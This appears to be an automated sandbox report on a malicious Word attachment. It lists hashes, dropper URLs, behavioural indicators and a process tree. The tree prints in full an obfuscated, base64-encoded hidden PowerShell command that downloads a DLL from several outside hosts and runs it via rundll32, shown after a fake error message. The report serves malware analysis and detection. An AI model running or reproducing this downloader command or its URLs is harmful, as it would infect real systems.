a8b8fb73b3d7ae7a1780ae143dbfb66471afacb86c69e3270e026e8f11281918

General

Target

Attachments_276.doc
Size

162KB
MD5

1e36711be581dee9f77ef2243b2a6048
SHA1

d446161ee0af2b40768c72ad7b9159a9e81d655a
SHA256

a8b8fb73b3d7ae7a1780ae143dbfb66471afacb86c69e3270e026e8f11281918
SHA512

363b2265fed1b89396e8fa9c928fa3b754b3fe2afde0aadd1ffe4005524ea25bb39c6e4ea516c2b13cae8587d0eea4572f020d4344ab73f72536e66bb5f20c25

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://www.mitraship.com/wp-content/ZKeB/

exe.dropper

http://djsrecord.com/wp-includes/abop/

exe.dropper

https://lastfrontierstrekking.com/new/2OaabFU/

exe.dropper

https://watchnshirt.com/y/L7z9YcA/

exe.dropper

https://www.impipower.com/wp-content/U/

exe.dropper

https://www.inkayniperutours.com/druver/LtcG/

exe.dropper

https://vysimopoulos.com/d/NF/

Signatures

Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 284 1716 cmd.exe
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exerundll32.exe

flow pid process

6 1588 powershell.exe
8 1580 rundll32.exe
Loads dropped DLL 4 IoCs

Processes:

rundll32.exe

pid process

1604 rundll32.exe
1604 rundll32.exe
1604 rundll32.exe
1604 rundll32.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	284	1716	cmd.exe

flow	pid	process
6	1588	powershell.exe
8	1580	rundll32.exe

pid	process
1604	rundll32.exe
1604	rundll32.exe
1604	rundll32.exe
1604	rundll32.exe

Drops file in System32 directory 2 IoCs

Processes:

powershell.exerundll32.exe

description	ioc	process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\Hakljacpjuwhgp\tvebuxpjtbgxu.bbq	rundll32.exe

Drops file in Windows directory 1 IoCs

Processes:

WINWORD.EXE

description ioc process

File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE
Office loads VBA resources, possible macro or embedded object present

description	ioc	process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

WINWORD.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	WINWORD.EXE
Key created	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	WINWORD.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	WINWORD.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

1944 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exerundll32.exe

pid process

1588 powershell.exe
1588 powershell.exe
1580 rundll32.exe
1580 rundll32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1588 powershell.exe
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

WINWORD.EXE

pid process

1944 WINWORD.EXE
1944 WINWORD.EXE

pid	process
1944	WINWORD.EXE

pid	process
1588	powershell.exe
1588	powershell.exe
1580	rundll32.exe
1580	rundll32.exe

description	pid	process
Token: SeDebugPrivilege	1588	powershell.exe

pid	process
1944	WINWORD.EXE
1944	WINWORD.EXE

Suspicious use of WriteProcessMemory 23 IoCs

Processes:

cmd.exepowershell.exerundll32.exerundll32.exe

description	pid	process	target process
PID 284 wrote to memory of 744	284	cmd.exe	msg.exe
PID 284 wrote to memory of 744	284	cmd.exe	msg.exe
PID 284 wrote to memory of 744	284	cmd.exe	msg.exe
PID 284 wrote to memory of 1588	284	cmd.exe	powershell.exe
PID 284 wrote to memory of 1588	284	cmd.exe	powershell.exe
PID 284 wrote to memory of 1588	284	cmd.exe	powershell.exe
PID 1588 wrote to memory of 1344	1588	powershell.exe	rundll32.exe
PID 1588 wrote to memory of 1344	1588	powershell.exe	rundll32.exe
PID 1588 wrote to memory of 1344	1588	powershell.exe	rundll32.exe
PID 1344 wrote to memory of 1604	1344	rundll32.exe	rundll32.exe
PID 1344 wrote to memory of 1604	1344	rundll32.exe	rundll32.exe
PID 1344 wrote to memory of 1604	1344	rundll32.exe	rundll32.exe
PID 1344 wrote to memory of 1604	1344	rundll32.exe	rundll32.exe
PID 1344 wrote to memory of 1604	1344	rundll32.exe	rundll32.exe
PID 1344 wrote to memory of 1604	1344	rundll32.exe	rundll32.exe
PID 1344 wrote to memory of 1604	1344	rundll32.exe	rundll32.exe
PID 1604 wrote to memory of 1580	1604	rundll32.exe	rundll32.exe
PID 1604 wrote to memory of 1580	1604	rundll32.exe	rundll32.exe
PID 1604 wrote to memory of 1580	1604	rundll32.exe	rundll32.exe
PID 1604 wrote to memory of 1580	1604	rundll32.exe	rundll32.exe
PID 1604 wrote to memory of 1580	1604	rundll32.exe	rundll32.exe
PID 1604 wrote to memory of 1580	1604	rundll32.exe	rundll32.exe
PID 1604 wrote to memory of 1580	1604	rundll32.exe	rundll32.exe

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Attachments_276.doc"
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:1944

C:\Windows\system32\cmd.exe
cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & P^Ow^er^she^L^L -w hidden -ENCOD IAAgAFMARQB0ACAAKAAiAHgAawAiACsAIgBxAG0AIgApACAAKAAgACAAWwB0AFkAUABlAF0AKAAiAHsAMQB9AHsAMAB9AHsAMgB9AHsAMwB9ACIALQBGACcAWQAnACwAJwBzACcALAAnAFMAVABFAG0ALgBpAG8ALgAnACwAJwBkAEkAcgBFAGMAVABPAHIAWQAnACkAIAAgACkAOwAgACAAIAAgAFMAZQBUAC0AVgBhAHIASQBhAGIAbABFACAAIABFADMAagB2AEEATQAgACgAIABbAFQAWQBQAEUAXQAoACIAewAxAH0AewAzAH0AewAwAH0AewA1AH0AewAyAH0AewA0AH0AIgAgAC0ARgAnAEUAcABvAGkAbgBUACcALAAnAHMAeQBzAFQAZQBNAC4AbgBlAFQALgBTAEUAcgB2AGkAJwAsACcAZQAnACwAJwBDACcALAAnAFIAJwAsACcAbQBBAE4AYQBHACcAKQAgACkAIAAgADsAIAAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACgAKAAnAFMAaQAnACsAJwBsAGUAJwApACsAJwBuACcAKwAoACcAdABsAHkAQwAnACsAJwBvACcAKQArACcAbgB0ACcAKwAoACcAaQAnACsAJwBuAHUAJwApACsAJwBlACcAKQA7ACQAUQB6AGgAeABoADMAMAA9ACQASAAwADIAVgAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQAUgA4ADYATwA7ACQAQwAxADkATwA9ACgAJwBaACcAKwAoACcAMAAnACsAJwBfAE8AJwApACkAOwAgACgAIAAgAEcARQB0AC0AVgBhAHIASQBBAEIATABlACAAIAAoACIAeABLACIAKwAiAFEATQAiACkAIAAtAFYAYQBMACkAOgA6ACIAQwBSAGAAZQBgAEEAVABgAGUARABJAFIAZQBDAHQAYABvAHIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAHsAMAB9ACcAKwAnAE4AeQBwADIAYgB2AGkAewAwAH0ATQA1ACcAKwAnAHIAZwAnACsAKAAnAHYANQAnACsAJwBuACcAKQArACcAewAwAH0AJwApACAAIAAtAEYAWwBjAEgAYQByAF0AOQAyACkAKQA7ACQASgA2ADIAUQA9ACgAJwBVACcAKwAoACcANwA0ACcAKwAnAFgAJwApACkAOwAgACgAIABHAGUAVAAtAFYAYQBSAGkAYQBCAEwARQAgAEUAMwBqAFYAYQBNACAAIAAtAHYAQQBsACAAKQA6ADoAIgBTAEUAYwB1AFIAaQBgAFQAYABZAHAAcgBgAG8AYABUAG8AQwBPAEwAIgAgAD0AIAAoACgAJwBUACcAKwAnAGwAcwAxACcAKQArACcAMgAnACkAOwAkAFEAOQA0AFIAPQAoACgAJwBIADcAJwArACcAMgAnACkAKwAnAE4AJwApADsAJABGAGkAbwBjAGQAbgBhACAAPQAgACgAKAAnAFoAJwArACcAXwAzACcAKQArACcAVgAnACkAOwAkAEUAMABfAFAAPQAoACgAJwBIACcAKwAnADcAMwAnACkAKwAnAEgAJwApADsAJABVADUAdQBjADIANABqAD0AJABIAE8ATQBFACsAKAAoACcAewAwAH0AJwArACcATgB5AHAAMgBiAHYAaQB7ADAAfQBNADUAcgBnACcAKwAnAHYANQAnACsAJwBuACcAKwAnAHsAMAB9ACcAKQAtAGYAIABbAEMAaABhAFIAXQA5ADIAKQArACQARgBpAG8AYwBkAG4AYQArACgAJwAuAGQAJwArACcAbABsACcAKQA7ACQAVAA5ADYAVgA9ACgAKAAnAEMANQAnACsAJwA3ACcAKQArACcAUwAnACkAOwAkAEkAdQBjAG0AZABxADIAPQAoACcAdwAnACsAKAAnAF0AeABtAFsAdgA6ACcAKwAnAC8AJwArACcALwAnACkAKwAoACcAdwAnACsAJwB3AHcAJwApACsAKAAnAC4AbQAnACsAJwBpAHQAJwArACcAcgAnACsAJwBhAHMAaABpAHAALgBjACcAKQArACgAJwBvAG0ALwAnACsAJwB3ACcAKQArACgAJwBwACcAKwAnAC0AYwBvACcAKwAnAG4AdAAnACsAJwBlAG4AdAAvAFoASwBlAEIAJwArACcALwAnACkAKwAnAEAAJwArACgAJwB3AF0AJwArACcAeAAnACkAKwAoACcAbQBbAHYAOgAvAC8AJwArACcAZAAnACsAJwBqAHMAcgAnACkAKwAoACcAZQBjACcAKwAnAG8AcgAnACkAKwAoACcAZAAuAGMAJwArACcAbwBtACcAKwAnAC8AdwBwACcAKwAnAC0AaQBuAGMAbAB1ACcAKQArACgAJwBkAGUAJwArACcAcwAnACkAKwAoACcALwBhAGIAJwArACcAbwBwAC8AJwApACsAJwBAAHcAJwArACgAJwBdAHgAJwArACcAbQBbAHYAJwApACsAJwBzACcAKwAoACcAOgAnACsAJwAvAC8AbAAnACkAKwAoACcAYQBzACcAKwAnAHQAZgAnACsAJwByAG8AbgAnACkAKwAoACcAdABpAGUAJwArACcAcgAnACkAKwAnAHMAJwArACgAJwB0AHIAJwArACcAZQBrAGsAJwApACsAKAAnAGkAbgAnACsAJwBnACcAKQArACgAJwAuAGMAJwArACcAbwBtACcAKQArACgAJwAvACcAKwAnAG4AZQB3AC8AMgBPAGEAJwArACcAYQAnACkAKwAoACcAYgBGAFUAJwArACcALwBAAHcAXQB4ACcAKQArACgAJwBtAFsAdgBzADoALwAvAHcAYQB0AGMAJwArACcAaABuAHMAJwArACcAaABpACcAKwAnAHIAJwArACcAdAAuAGMAbwBtAC8AeQAnACsAJwAvACcAKwAnAEwANwB6ADkAWQBjACcAKwAnAEEALwBAACcAKwAnAHcAXQB4ACcAKwAnAG0AJwApACsAKAAnAFsAdgAnACsAJwBzADoALwAnACkAKwAnAC8AdwAnACsAKAAnAHcAdwAnACsAJwAuAGkAJwApACsAKAAnAG0AcAAnACsAJwBpAHAAJwArACcAbwAnACsAJwB3ACcAKwAnAGUAcgAuAGMAbwBtAC8AdwBwAC0AJwApACsAJwBjACcAKwAnAG8AJwArACgAJwBuAHQAZQBuAHQAJwArACcALwBVACcAKQArACcALwBAACcAKwAoACcAdwBdAHgAbQBbAHYAJwArACcAcwA6ACcAKwAnAC8AJwApACsAKAAnAC8AJwArACcAdwB3AHcALgAnACsAJwBpACcAKQArACcAbgAnACsAKAAnAGsAJwArACcAYQB5AG4AaQAnACkAKwAoACcAcABlAHIAdQB0ACcAKwAnAG8AJwArACcAdQByAHMALgBjAG8AJwArACcAbQAvAGQAJwApACsAKAAnAHIAJwArACcAdQB2AGUAJwArACcAcgAvACcAKwAnAEwAdABjAEcAJwApACsAKAAnAC8AQAB3ACcAKwAnAF0AeAAnACsAJwBtAFsAJwApACsAKAAnAHYAJwArACcAcwA6ACcAKQArACgAJwAvAC8AdgB5ACcAKwAnAHMAaQAnACkAKwAoACcAbQBvAHAAJwArACcAbwB1AGwAJwArACcAbwBzAC4AYwAnACkAKwAoACcAbwBtACcAKwAnAC8AZAAvAE4AJwArACcARgAvACcAKQApAC4AIgBSAGAAZQBQAEwAYABBAEMAZQAiACgAKAAnAHcAXQAnACsAKAAnAHgAbQAnACsAJwBbACcAKQArACcAdgAnACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAHMAZAAnACwAJwBzAHcAJwApACwAKAAoACcAaAAnACsAJwB0AHQAJwApACsAJwBwACcAKQAsACcAMwBkACcAKQBbADEAXQApAC4AIgBTAFAAYABsAEkAdAAiACgAJABIADkAMgBHACAAKwAgACQAUQB6AGgAeABoADMAMAAgACsAIAAkAEoAOQA1AFMAKQA7ACQATAA0ADQARQA9ACgAJwBZADgAJwArACcAOABLACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAVwB1AHEAMgAyAF8AaAAgAGkAbgAgACQASQB1AGMAbQBkAHEAMgApAHsAdAByAHkAewAoACYAKAAnAE4AZQB3ACcAKwAnAC0ATwBiAGoAZQBjACcAKwAnAHQAJwApACAAUwBZAHMAdABFAG0ALgBuAGUAVAAuAHcARQBCAGMATABpAGUAbgBUACkALgAiAGQATwB3AE4AbABgAG8AYABBAGQARgBgAGkAbABlACIAKAAkAFcAdQBxADIAMgBfAGgALAAgACQAVQA1AHUAYwAyADQAagApADsAJABBADcAMQBOAD0AKAAoACcATwAnACsAJwAyADQAJwApACsAJwBGACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtACcAKwAnAEkAdAAnACsAJwBlAG0AJwApACAAJABVADUAdQBjADIANABqACkALgAiAEwARQBOAGAAZwB0AGgAIgAgAC0AZwBlACAANAA1ADEANAA5ACkAIAB7AC4AKAAnAHIAdQBuAGQAbAAnACsAJwBsADMAMgAnACkAIAAkAFUANQB1AGMAMgA0AGoALAAoACgAJwBTAGgAbwAnACsAJwB3ACcAKQArACgAJwBEAGkAJwArACcAYQAnACkAKwAoACcAbABvACcAKwAnAGcAQQAnACkAKQAuACIAVABPAGAAUwB0AHIAaQBOAEcAIgAoACkAOwAkAEkANgAzAEUAPQAoACgAJwBTACcAKwAnADgAOAAnACkAKwAnAEMAJwApADsAYgByAGUAYQBrADsAJABFADcAMgBTAD0AKAAnAEsANAAnACsAJwBfAEkAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABTADMAMwBPAD0AKAAoACcAVAAnACsAJwA3ADgAJwApACsAJwBKACcAKQA=
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:284

C:\Windows\system32\msg.exe
msg Admin /v Word experienced an error trying to open the file.
2⤵
PID:744

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
POwersheLL -w hidden -ENCOD IAAgAFMARQB0ACAAKAAiAHgAawAiACsAIgBxAG0AIgApACAAKAAgACAAWwB0AFkAUABlAF0AKAAiAHsAMQB9AHsAMAB9AHsAMgB9AHsAMwB9ACIALQBGACcAWQAnACwAJwBzACcALAAnAFMAVABFAG0ALgBpAG8ALgAnACwAJwBkAEkAcgBFAGMAVABPAHIAWQAnACkAIAAgACkAOwAgACAAIAAgAFMAZQBUAC0AVgBhAHIASQBhAGIAbABFACAAIABFADMAagB2AEEATQAgACgAIABbAFQAWQBQAEUAXQAoACIAewAxAH0AewAzAH0AewAwAH0AewA1AH0AewAyAH0AewA0AH0AIgAgAC0ARgAnAEUAcABvAGkAbgBUACcALAAnAHMAeQBzAFQAZQBNAC4AbgBlAFQALgBTAEUAcgB2AGkAJwAsACcAZQAnACwAJwBDACcALAAnAFIAJwAsACcAbQBBAE4AYQBHACcAKQAgACkAIAAgADsAIAAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACgAKAAnAFMAaQAnACsAJwBsAGUAJwApACsAJwBuACcAKwAoACcAdABsAHkAQwAnACsAJwBvACcAKQArACcAbgB0ACcAKwAoACcAaQAnACsAJwBuAHUAJwApACsAJwBlACcAKQA7ACQAUQB6AGgAeABoADMAMAA9ACQASAAwADIAVgAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQAUgA4ADYATwA7ACQAQwAxADkATwA9ACgAJwBaACcAKwAoACcAMAAnACsAJwBfAE8AJwApACkAOwAgACgAIAAgAEcARQB0AC0AVgBhAHIASQBBAEIATABlACAAIAAoACIAeABLACIAKwAiAFEATQAiACkAIAAtAFYAYQBMACkAOgA6ACIAQwBSAGAAZQBgAEEAVABgAGUARABJAFIAZQBDAHQAYABvAHIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAHsAMAB9ACcAKwAnAE4AeQBwADIAYgB2AGkAewAwAH0ATQA1ACcAKwAnAHIAZwAnACsAKAAnAHYANQAnACsAJwBuACcAKQArACcAewAwAH0AJwApACAAIAAtAEYAWwBjAEgAYQByAF0AOQAyACkAKQA7ACQASgA2ADIAUQA9ACgAJwBVACcAKwAoACcANwA0ACcAKwAnAFgAJwApACkAOwAgACgAIABHAGUAVAAtAFYAYQBSAGkAYQBCAEwARQAgAEUAMwBqAFYAYQBNACAAIAAtAHYAQQBsACAAKQA6ADoAIgBTAEUAYwB1AFIAaQBgAFQAYABZAHAAcgBgAG8AYABUAG8AQwBPAEwAIgAgAD0AIAAoACgAJwBUACcAKwAnAGwAcwAxACcAKQArACcAMgAnACkAOwAkAFEAOQA0AFIAPQAoACgAJwBIADcAJwArACcAMgAnACkAKwAnAE4AJwApADsAJABGAGkAbwBjAGQAbgBhACAAPQAgACgAKAAnAFoAJwArACcAXwAzACcAKQArACcAVgAnACkAOwAkAEUAMABfAFAAPQAoACgAJwBIACcAKwAnADcAMwAnACkAKwAnAEgAJwApADsAJABVADUAdQBjADIANABqAD0AJABIAE8ATQBFACsAKAAoACcAewAwAH0AJwArACcATgB5AHAAMgBiAHYAaQB7ADAAfQBNADUAcgBnACcAKwAnAHYANQAnACsAJwBuACcAKwAnAHsAMAB9ACcAKQAtAGYAIABbAEMAaABhAFIAXQA5ADIAKQArACQARgBpAG8AYwBkAG4AYQArACgAJwAuAGQAJwArACcAbABsACcAKQA7ACQAVAA5ADYAVgA9ACgAKAAnAEMANQAnACsAJwA3ACcAKQArACcAUwAnACkAOwAkAEkAdQBjAG0AZABxADIAPQAoACcAdwAnACsAKAAnAF0AeABtAFsAdgA6ACcAKwAnAC8AJwArACcALwAnACkAKwAoACcAdwAnACsAJwB3AHcAJwApACsAKAAnAC4AbQAnACsAJwBpAHQAJwArACcAcgAnACsAJwBhAHMAaABpAHAALgBjACcAKQArACgAJwBvAG0ALwAnACsAJwB3ACcAKQArACgAJwBwACcAKwAnAC0AYwBvACcAKwAnAG4AdAAnACsAJwBlAG4AdAAvAFoASwBlAEIAJwArACcALwAnACkAKwAnAEAAJwArACgAJwB3AF0AJwArACcAeAAnACkAKwAoACcAbQBbAHYAOgAvAC8AJwArACcAZAAnACsAJwBqAHMAcgAnACkAKwAoACcAZQBjACcAKwAnAG8AcgAnACkAKwAoACcAZAAuAGMAJwArACcAbwBtACcAKwAnAC8AdwBwACcAKwAnAC0AaQBuAGMAbAB1ACcAKQArACgAJwBkAGUAJwArACcAcwAnACkAKwAoACcALwBhAGIAJwArACcAbwBwAC8AJwApACsAJwBAAHcAJwArACgAJwBdAHgAJwArACcAbQBbAHYAJwApACsAJwBzACcAKwAoACcAOgAnACsAJwAvAC8AbAAnACkAKwAoACcAYQBzACcAKwAnAHQAZgAnACsAJwByAG8AbgAnACkAKwAoACcAdABpAGUAJwArACcAcgAnACkAKwAnAHMAJwArACgAJwB0AHIAJwArACcAZQBrAGsAJwApACsAKAAnAGkAbgAnACsAJwBnACcAKQArACgAJwAuAGMAJwArACcAbwBtACcAKQArACgAJwAvACcAKwAnAG4AZQB3AC8AMgBPAGEAJwArACcAYQAnACkAKwAoACcAYgBGAFUAJwArACcALwBAAHcAXQB4ACcAKQArACgAJwBtAFsAdgBzADoALwAvAHcAYQB0AGMAJwArACcAaABuAHMAJwArACcAaABpACcAKwAnAHIAJwArACcAdAAuAGMAbwBtAC8AeQAnACsAJwAvACcAKwAnAEwANwB6ADkAWQBjACcAKwAnAEEALwBAACcAKwAnAHcAXQB4ACcAKwAnAG0AJwApACsAKAAnAFsAdgAnACsAJwBzADoALwAnACkAKwAnAC8AdwAnACsAKAAnAHcAdwAnACsAJwAuAGkAJwApACsAKAAnAG0AcAAnACsAJwBpAHAAJwArACcAbwAnACsAJwB3ACcAKwAnAGUAcgAuAGMAbwBtAC8AdwBwAC0AJwApACsAJwBjACcAKwAnAG8AJwArACgAJwBuAHQAZQBuAHQAJwArACcALwBVACcAKQArACcALwBAACcAKwAoACcAdwBdAHgAbQBbAHYAJwArACcAcwA6ACcAKwAnAC8AJwApACsAKAAnAC8AJwArACcAdwB3AHcALgAnACsAJwBpACcAKQArACcAbgAnACsAKAAnAGsAJwArACcAYQB5AG4AaQAnACkAKwAoACcAcABlAHIAdQB0ACcAKwAnAG8AJwArACcAdQByAHMALgBjAG8AJwArACcAbQAvAGQAJwApACsAKAAnAHIAJwArACcAdQB2AGUAJwArACcAcgAvACcAKwAnAEwAdABjAEcAJwApACsAKAAnAC8AQAB3ACcAKwAnAF0AeAAnACsAJwBtAFsAJwApACsAKAAnAHYAJwArACcAcwA6ACcAKQArACgAJwAvAC8AdgB5ACcAKwAnAHMAaQAnACkAKwAoACcAbQBvAHAAJwArACcAbwB1AGwAJwArACcAbwBzAC4AYwAnACkAKwAoACcAbwBtACcAKwAnAC8AZAAvAE4AJwArACcARgAvACcAKQApAC4AIgBSAGAAZQBQAEwAYABBAEMAZQAiACgAKAAnAHcAXQAnACsAKAAnAHgAbQAnACsAJwBbACcAKQArACcAdgAnACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAHMAZAAnACwAJwBzAHcAJwApACwAKAAoACcAaAAnACsAJwB0AHQAJwApACsAJwBwACcAKQAsACcAMwBkACcAKQBbADEAXQApAC4AIgBTAFAAYABsAEkAdAAiACgAJABIADkAMgBHACAAKwAgACQAUQB6AGgAeABoADMAMAAgACsAIAAkAEoAOQA1AFMAKQA7ACQATAA0ADQARQA9ACgAJwBZADgAJwArACcAOABLACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAVwB1AHEAMgAyAF8AaAAgAGkAbgAgACQASQB1AGMAbQBkAHEAMgApAHsAdAByAHkAewAoACYAKAAnAE4AZQB3ACcAKwAnAC0ATwBiAGoAZQBjACcAKwAnAHQAJwApACAAUwBZAHMAdABFAG0ALgBuAGUAVAAuAHcARQBCAGMATABpAGUAbgBUACkALgAiAGQATwB3AE4AbABgAG8AYABBAGQARgBgAGkAbABlACIAKAAkAFcAdQBxADIAMgBfAGgALAAgACQAVQA1AHUAYwAyADQAagApADsAJABBADcAMQBOAD0AKAAoACcATwAnACsAJwAyADQAJwApACsAJwBGACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtACcAKwAnAEkAdAAnACsAJwBlAG0AJwApACAAJABVADUAdQBjADIANABqACkALgAiAEwARQBOAGAAZwB0AGgAIgAgAC0AZwBlACAANAA1ADEANAA5ACkAIAB7AC4AKAAnAHIAdQBuAGQAbAAnACsAJwBsADMAMgAnACkAIAAkAFUANQB1AGMAMgA0AGoALAAoACgAJwBTAGgAbwAnACsAJwB3ACcAKQArACgAJwBEAGkAJwArACcAYQAnACkAKwAoACcAbABvACcAKwAnAGcAQQAnACkAKQAuACIAVABPAGAAUwB0AHIAaQBOAEcAIgAoACkAOwAkAEkANgAzAEUAPQAoACgAJwBTACcAKwAnADgAOAAnACkAKwAnAEMAJwApADsAYgByAGUAYQBrADsAJABFADcAMgBTAD0AKAAnAEsANAAnACsAJwBfAEkAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABTADMAMwBPAD0AKAAoACcAVAAnACsAJwA3ADgAJwApACsAJwBKACcAKQA=
2⤵
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1588

C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Nyp2bvi\M5rgv5n\Z_3V.dll ShowDialogA
3⤵
- Suspicious use of WriteProcessMemory
PID:1344

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Nyp2bvi\M5rgv5n\Z_3V.dll ShowDialogA
4⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1604

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Hakljacpjuwhgp\tvebuxpjtbgxu.bbq",ShowDialogA
5⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:1580

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\Nyp2bvi\M5rgv5n\Z_3V.dll
MD5
86772e700ec8cdee691928f00e4cca8e

SHA1
3e9d1e42467fd93339d3bba4b4cb512c375883f7

SHA256
ddbfedb21cb6b4cffaf94cb55322a5f487b6c1830bf526f50ace97be052b73bf

SHA512
1a63c12a6cb3b40e474b6b696e72ace6300fa8c2c23c5ed599e1f461f3053b3de4739e78dcf9f36c547d64d975326bc6db78c3e9855370b98d8b8d2998dbafb5

Download Submit
\Users\Admin\Nyp2bvi\M5rgv5n\Z_3V.dll
MD5
86772e700ec8cdee691928f00e4cca8e

SHA1
3e9d1e42467fd93339d3bba4b4cb512c375883f7

SHA256
ddbfedb21cb6b4cffaf94cb55322a5f487b6c1830bf526f50ace97be052b73bf

SHA512
1a63c12a6cb3b40e474b6b696e72ace6300fa8c2c23c5ed599e1f461f3053b3de4739e78dcf9f36c547d64d975326bc6db78c3e9855370b98d8b8d2998dbafb5

Download Submit
\Users\Admin\Nyp2bvi\M5rgv5n\Z_3V.dll
MD5
86772e700ec8cdee691928f00e4cca8e

SHA1
3e9d1e42467fd93339d3bba4b4cb512c375883f7

SHA256
ddbfedb21cb6b4cffaf94cb55322a5f487b6c1830bf526f50ace97be052b73bf

SHA512
1a63c12a6cb3b40e474b6b696e72ace6300fa8c2c23c5ed599e1f461f3053b3de4739e78dcf9f36c547d64d975326bc6db78c3e9855370b98d8b8d2998dbafb5

Download Submit
\Users\Admin\Nyp2bvi\M5rgv5n\Z_3V.dll
MD5
86772e700ec8cdee691928f00e4cca8e

SHA1
3e9d1e42467fd93339d3bba4b4cb512c375883f7

SHA256
ddbfedb21cb6b4cffaf94cb55322a5f487b6c1830bf526f50ace97be052b73bf

SHA512
1a63c12a6cb3b40e474b6b696e72ace6300fa8c2c23c5ed599e1f461f3053b3de4739e78dcf9f36c547d64d975326bc6db78c3e9855370b98d8b8d2998dbafb5

Download Submit
\Users\Admin\Nyp2bvi\M5rgv5n\Z_3V.dll
MD5
86772e700ec8cdee691928f00e4cca8e

SHA1
3e9d1e42467fd93339d3bba4b4cb512c375883f7

SHA256
ddbfedb21cb6b4cffaf94cb55322a5f487b6c1830bf526f50ace97be052b73bf

SHA512
1a63c12a6cb3b40e474b6b696e72ace6300fa8c2c23c5ed599e1f461f3053b3de4739e78dcf9f36c547d64d975326bc6db78c3e9855370b98d8b8d2998dbafb5

Download Submit
memory/612-21-0x000007FEF6080000-0x000007FEF62FA000-memory.dmp

Filesize
2.5MB

Download
memory/744-4-0x0000000000000000-mapping.dmp

Download
